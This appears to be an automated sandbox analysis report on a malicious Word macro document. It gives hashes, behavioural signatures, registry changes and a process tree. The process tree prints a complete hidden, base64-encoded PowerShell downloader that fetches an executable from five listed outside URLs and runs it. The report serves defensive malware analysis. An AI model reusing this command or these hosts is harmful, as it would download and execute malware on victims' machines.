Analysis
-
max time kernel
57s -
max time network
24s -
platform
windows7_x64 -
resource
win7-20241010-en -
resource tags
arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system -
submitted
20-11-2024 21:13
Static task
static1
Behavioral task
behavioral1
Sample
36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc
Resource
win10v2004-20241007-en
General
-
Target
36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc
-
Size
184KB
-
MD5
4a300be3cbaffa2f5086efdcf7cb5248
-
SHA1
187ec6c5af555513043136b3df4eb6dcc7fbcfa9
-
SHA256
36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b
-
SHA512
c81fc78ed64c4270f4a64ffe4162e724059344160293cf5a8b109a2bd10eaaa84444c52e7c9b6ce18ea087a5ca5c18f0ea7a1a77988249be6359617f66c14a2c
-
SSDEEP
3072:2C2y/GdyrktGDWLS0HZWD5w8K7Nk9aD7IBUfoUH9CBjBoax5waA1NWBM0z7:2C2k4TtGiL3HJk9aD7bfoUH9CBjBoaxl
Malware Config
Extracted
http://gobabynames.com/dz6r/xytx7/
http://nhomkinhthienbinh.com/cgi-bin/yW/
http://capitalcitycarwash.com/komldk65kd/7tz/
http://compscischool.com/wp-content/8a1n/
http://gianphoisonghong.com/wp-includes/AUWxwq1V2s/
Signatures
-
Process spawned unexpected child process 3 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 2672 2772 WISPTIS.EXE 29 Parent C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process 784 2772 WISPTIS.EXE 29 Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1672 2640 Powershell.exe 33 -
Blocklisted process makes network request 3 IoCs
flow pid Process 6 1672 Powershell.exe 8 1672 Powershell.exe 10 1672 Powershell.exe -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1672 Powershell.exe -
Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk Powershell.exe -
Drops file in Windows directory 1 IoCs
description ioc Process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01}\ = "IOptionFrame" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{CF3F94A0-F546-11CE-9BCE-00AA00608E01}\ = "OptionFrameEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{90E4CC13-F3A5-4033-B6CA-E7CAE82CA99F}\1.0\HELPDIR\ = "C:\\Users\\Admin\\Application Data\\Microsoft\\Forms" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{04598FC6-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{4C599243-6926-101B-9992-00000B65C6F9} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{978C9E22-D4B0-11CE-BF2D-00AA003F40D0}\ = "LabelControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents10" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{04598FC8-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D53-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{47FF8FE1-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents2" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{92E11A03-7358-11CE-80CB-00AA00611080} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{90E4CC13-F3A5-4033-B6CA-E7CAE82CA99F}\1.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{04598FC4-866C-11CF-AB7C-00AA00C08FCF}\ = "ICommandButton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D13-EC42-11CE-9E0D-00AA006002F3}\ = "IMdcText" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{5512D125-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{7B020EC7-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{5512D111-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{8BD21D32-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{7B020EC8-AF6C-11CE-9F46-00AA00574A4F}\ = "MultiPageEvents" WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F372235D-20E8-47DB-A4DC-59C463AD5DD0}\1.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\VBE\\INKEDLib.exd" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{8BD21D23-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{79176FB3-B7F2-11CE-97EF-00AA006D2776}\ = "ISpinbutton" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{8BD21D12-EC42-11CE-9E0D-00AA006002F3}\ = "MdcTextEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D22-EC42-11CE-9E0D-00AA006002F3} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D42-EC42-11CE-9E0D-00AA006002F3}\ = "MdcCheckBoxEvents" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{29B86A70-F52E-11CE-9BCE-00AA00608E01} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{8BD21D52-EC42-11CE-9E0D-00AA006002F3}\ = "MdcOptionButtonEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D}\ = "WHTMLControlEvents" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\FLAGS WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\0\win32 WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\0\win32\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\Word8.0\\MSForms.exd" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{5512D117-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLCheckbox" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{7B020EC2-AF6C-11CE-9F46-00AA00574A4F} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{4C5992A5-6926-101B-9992-00000B65C6F9} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{796ED650-5FE9-11CF-8D68-00AA00BDCE1D} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{47FF8FE5-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents6" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{82B02370-B5BC-11CF-810F-00A0C9030074} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{04598FC7-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{47FF8FE9-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F372235D-20E8-47DB-A4DC-59C463AD5DD0}\1.0\ = "Microsoft InkEdit Control 1.0" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{82B02371-B5BC-11CF-810F-00A0C9030074}\ = "IReturnBoolean" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{5512D11F-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLPassword" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{47FF8FE6-6198-11CF-8CE8-00AA006CB389} WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F372235D-20E8-47DB-A4DC-59C463AD5DD0}\1.0 WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{BEF6E003-A874-101A-8BBA-00AA00300CAB} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{9A4BBF53-4E46-101B-8BBD-00AA003E3B29}\ = "ControlEvents" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{5512D113-5CC6-11CF-8D67-00AA00BDCE1D}\ = "IWHTMLImage" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{47FF8FE0-6198-11CF-8CE8-00AA006CB389}\ = "WHTMLControlEvents1" WINWORD.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{F372235D-20E8-47DB-A4DC-59C463AD5DD0}\1.0\HELPDIR WINWORD.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47}\2.0\ = "Microsoft Forms 2.0 Object Library" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\TypeLib\{C2EC1BC7-4BD6-4EF6-9438-102FE485AF47} WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3692679935-4019334568-335155002-1000_CLASSES\Wow6432Node\Interface\{04598FC2-866C-11CF-AB7C-00AA00C08FCF}\ = "ITabStrip" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2772 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 1 IoCs
pid Process 1672 Powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 1672 Powershell.exe -
Suspicious use of FindShellTrayWindow 2 IoCs
pid Process 2772 WINWORD.EXE 2772 WINWORD.EXE -
Suspicious use of SetWindowsHookEx 4 IoCs
pid Process 2772 WINWORD.EXE 2772 WINWORD.EXE 2672 WISPTIS.EXE 784 WISPTIS.EXE -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 2772 wrote to memory of 2892 2772 WINWORD.EXE 30 PID 2772 wrote to memory of 2892 2772 WINWORD.EXE 30 PID 2772 wrote to memory of 2892 2772 WINWORD.EXE 30 PID 2772 wrote to memory of 2892 2772 WINWORD.EXE 30 PID 2772 wrote to memory of 2672 2772 WINWORD.EXE 31 PID 2772 wrote to memory of 2672 2772 WINWORD.EXE 31 PID 2772 wrote to memory of 2672 2772 WINWORD.EXE 31 PID 2772 wrote to memory of 2672 2772 WINWORD.EXE 31 PID 2772 wrote to memory of 784 2772 WINWORD.EXE 32 PID 2772 wrote to memory of 784 2772 WINWORD.EXE 32 PID 2772 wrote to memory of 784 2772 WINWORD.EXE 32 PID 2772 wrote to memory of 784 2772 WINWORD.EXE 32
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\36c9a50587eb2b745715265ea02f3c68374a490bf7575b639f546336e68cc78b.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2772 -
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵PID:2892
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
PID:2672
-
-
C:\Windows\SYSTEM32\WISPTIS.EXE"C:\Windows\SYSTEM32\WISPTIS.EXE" /ManualLaunch;2⤵
- Process spawned unexpected child process
- Suspicious use of SetWindowsHookEx
PID:784
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABIAG0AaAB5AHoAdABvAHkAaABzAGUAPQAnAFoAeABsAG4AcgBoAHAAdQBwAGIAZQBmACcAOwAkAEEAbABxAGEAYwByAGMAagAgAD0AIAAnADIAMQAwACcAOwAkAEUAaAB5AHEAdwBxAGQAZwBhAHIAPQAnAE0AagBqAHkAeQBtAHMAcQBkAHEAJwA7ACQAQQBhAG4AaABrAHMAaQBwAHMAYwBhAGgAcgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAQQBsAHEAYQBjAHIAYwBqACsAJwAuAGUAeABlACcAOwAkAEMAYgB3AHMAawBjAHQAdQBkAGMAPQAnAFQAbgBxAGQAdwBxAGwAdwAnADsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAD0ALgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAVAAuAHcAZQBiAEMAbABpAGUAbgB0ADsAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAPQAnAGgAdAB0AHAAOgAvAC8AZwBvAGIAYQBiAHkAbgBhAG0AZQBzAC4AYwBvAG0ALwBkAHoANgByAC8AeAB5AHQAeAA3AC8AKgBoAHQAdABwADoALwAvAG4AaABvAG0AawBpAG4AaAB0AGgAaQBlAG4AYgBpAG4AaAAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHkAVwAvACoAaAB0AHQAcAA6AC8ALwBjAGEAcABpAHQAYQBsAGMAaQB0AHkAYwBhAHIAdwBhAHMAaAAuAGMAbwBtAC8AawBvAG0AbABkAGsANgA1AGsAZAAvADcAdAB6AC8AKgBoAHQAdABwADoALwAvAGMAbwBtAHAAcwBjAGkAcwBjAGgAbwBvAGwALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwA4AGEAMQBuAC8AKgBoAHQAdABwADoALwAvAGcAaQBhAG4AcABoAG8AaQBzAG8AbgBnAGgAbwBuAGcALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEEAVQBXAHgAdwBxADEAVgAyAHMALwAnAC4AIgBTAHAAYABsAEkAdAAiACgAJwAqACcAKQA7ACQARABrAGYAZABnAHMAbgB6AGkAbwBjAG4AbwA9ACcATAB3AHgAeAB5AGcAagBxAGoAZQBsAHYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAagBqAHAAYwBnAHMAaQBmAHEAZgBtACAAaQBuACAAJABFAHEAegBhAGYAaABzAGYAYgBhAGsAKQB7AHQAcgB5AHsAJABKAGkAYgBtAGEAcQB3AHUAbQB0AGcAcwBuAC4AIgBkAGAAbwBgAFcAbgBMAG8AYABBAGQAZgBJAEwAZQAiACgAJABDAGoAagBwAGMAZwBzAGkAZgBxAGYAbQAsACAAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAE0AZQBpAG0AZgB5AG0AbQBnAHcAYQBnAD0AJwBGAHgAZwB6AHYAagBrAHUAbgB5AHoAcQAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAJwArACcAbQAnACkAIAAkAEEAYQBuAGgAawBzAGkAcABzAGMAYQBoAHIAKQAuACIATABFAE4AYABnAGAAVABIACIAIAAtAGcAZQAgADMANQAxADYAMQApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBTAGAAVABBAHIAVAAiACgAJABBAGEAbgBoAGsAcwBpAHAAcwBjAGEAaAByACkAOwAkAFkAdgB3AHkAZQB2AGoAdQBiAGoAdwBoAHkAPQAnAFcAcgBjAG8AawBtAHkAbAAnADsAYgByAGUAYQBrADsAJABKAHMAcQBrAG0AbwBmAHIAcQA9ACcARABpAHkAegB3AGQAZQBwACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEwAZQBtAGIAaABvAGYAagA9ACcASgB4AHMAdgBjAHMAagBwACcA1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1672
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5a85f2e1337a7eacef3521a938c7abbdc
SHA141761a8a6677331cbb6ed95243904e19db952837
SHA256abe99356a07246af1586ce5b5d43cd648874cf573cb70520e2ee60aa0b9d794b
SHA5127023723c4f6d787ba573b8109bec7f45f11dd0d267fd1cb6c0f558b337ea57f917ed16a9f730de56a5e1169ed996ea1d8cc28c1442db623619b28f4ed64c64d8